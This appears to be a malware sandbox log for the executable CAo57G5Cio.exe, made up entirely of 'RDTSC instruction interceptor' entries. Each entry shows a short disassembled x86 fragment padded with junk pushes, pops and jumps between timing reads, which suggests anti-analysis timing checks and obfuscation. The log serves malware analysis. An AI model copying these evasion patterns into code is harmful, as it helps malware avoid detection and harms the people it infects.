Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F9E353 second address: F9E35C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F9E35C second address: F9E37D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F84ECC38F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F84ECC38FA3h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F9FDC9 second address: F9FDEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F84ECDED168h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F2FD6E second address: F2FD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F2FD74 second address: F2FD79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FA3E7E second address: FA3E82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAA6B2 second address: FAA6C9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F84ECDED15Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F84ECDED156h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAA6C9 second address: FAA6F1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F84ECC38F96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F84ECC38FA6h 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAA6F1 second address: FAA70C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED15Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007F84ECDED156h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAA88C second address: FAA893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAA893 second address: FAA8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECDED15Bh 0x00000009 jmp 00007F84ECDED161h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAA8B4 second address: FAA8C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F84ECC38F96h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAAA2E second address: FAAA32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAAA32 second address: FAAA45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F84ECC38F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push ebx 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAAA45 second address: FAAA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAAF09 second address: FAAF0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAAF0D second address: FAAF40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED164h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F84ECDED163h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAAF40 second address: FAAF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAB379 second address: FAB395 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED162h 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F84ECDED156h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FAB395 second address: FAB39B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB1D5D second address: FB1D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB21C2 second address: FB21DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F84ECC38F9Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB2319 second address: FB231D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB24CB second address: FB24CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB24CF second address: FB24D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB24D5 second address: FB24E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECC38F9Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB24E5 second address: FB24E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F62F4E second address: F62F59 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F62F59 second address: F62F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F62F61 second address: F62F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F62F69 second address: F62F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECDED167h 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F84ECDED162h 0x00000013 jmp 00007F84ECDED15Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB2B26 second address: FB2B2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB2B2A second address: FB2B34 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB2B34 second address: FB2B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F84ECC38F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB6086 second address: FB60A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECDED166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F40832 second address: F4083F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jl 00007F84ECC38FA2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8099E second address: F809A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F809A4 second address: F809A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F809A8 second address: F62405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ecx, dword ptr [ebp+122D2B64h] 0x0000000f call dword ptr [ebp+124669D9h] 0x00000015 pushad 0x00000016 jmp 00007F84ECDED166h 0x0000001b jmp 00007F84ECDED162h 0x00000020 push ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8101F second address: F81023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F81023 second address: F81030 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F81030 second address: F81035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8115C second address: F81160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F81160 second address: F811A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xchg eax, esi 0x00000007 call 00007F84ECC38FA4h 0x0000000c and di, 047Ah 0x00000011 pop ecx 0x00000012 jmp 00007F84ECC38FA5h 0x00000017 push eax 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b jo 00007F84ECC38F96h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F812FC second address: F81302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F817E5 second address: F817EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F81B9C second address: F81C16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F84ECDED161h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F84ECDED158h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 sbb dl, 00000071h 0x00000029 lea eax, dword ptr [ebp+1248B763h] 0x0000002f add dl, 00000020h 0x00000032 nop 0x00000033 jne 00007F84ECDED15Ah 0x00000039 push eax 0x0000003a jmp 00007F84ECDED15Ch 0x0000003f nop 0x00000040 xor di, F4D3h 0x00000045 lea eax, dword ptr [ebp+1248B71Fh] 0x0000004b mov dword ptr [ebp+122D2599h], edi 0x00000051 mov edx, ebx 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 jnc 00007F84ECDED156h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F81C16 second address: F62F4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F84ECC38F98h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push ebx 0x00000025 pop ecx 0x00000026 call dword ptr [ebp+12453234h] 0x0000002c pushad 0x0000002d jmp 00007F84ECC38F9Dh 0x00000032 push eax 0x00000033 push edx 0x00000034 je 00007F84ECC38F96h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB9CB7 second address: FB9CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB9CBC second address: FB9CCE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F84ECC38F9Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB9CCE second address: FB9CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB9CD8 second address: FB9CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F84ECC38FA3h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB9E43 second address: FB9E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F84ECDED156h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FB9E4F second address: FB9E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FBA27C second address: FBA285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FBA3E2 second address: FBA3F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007F84ECC38F96h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FBFB84 second address: FBFBA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECDED161h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jng 00007F84ECDED156h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FBF345 second address: FBF378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jnc 00007F84ECC38FB1h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FBF378 second address: FBF38A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F84ECDED156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F84ECDED158h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FBFFAB second address: FBFFAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FBFFAF second address: FBFFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FBFFB5 second address: FBFFC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F84ECC38F96h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FBFFC4 second address: FBFFE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007F84ECDED167h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FBFFE3 second address: FBFFEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FBFFEE second address: FC0016 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F84ECDED156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jne 00007F84ECDED17Eh 0x00000011 jmp 00007F84ECDED164h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC0016 second address: FC001C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC02F9 second address: FC02FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC02FE second address: FC031C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F84ECC38F9Eh 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC031C second address: FC0328 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F84ECDED156h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC0328 second address: FC0338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F84ECC38F96h 0x0000000a jbe 00007F84ECC38F96h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC6A02 second address: FC6A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F84ECDED15Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC940B second address: FC940F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC940F second address: FC942A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F84ECDED15Dh 0x0000000d jnc 00007F84ECDED156h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC942A second address: FC9450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA3h 0x00000007 jmp 00007F84ECC38F9Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC9450 second address: FC9454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC9454 second address: FC946E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F84ECC38F98h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 jne 00007F84ECC38F96h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC946E second address: FC9472 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC9472 second address: FC949D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnc 00007F84ECC38F96h 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F84ECC38FA9h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC949D second address: FC94A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC8FB5 second address: FC8FF3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F84ECC38F96h 0x00000008 je 00007F84ECC38F96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F84ECC38FA7h 0x00000016 jmp 00007F84ECC38FA3h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FC8FF3 second address: FC9026 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F84ECDED15Bh 0x00000008 jnc 00007F84ECDED156h 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jmp 00007F84ECDED15Fh 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jnl 00007F84ECDED17Eh 0x00000020 push ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FCDB48 second address: FCDB52 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F84ECC38F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FCDB52 second address: FCDB64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED15Dh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FCDB64 second address: FCDB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD13F4 second address: FD13FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD0B90 second address: FD0B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD0B97 second address: FD0B9C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
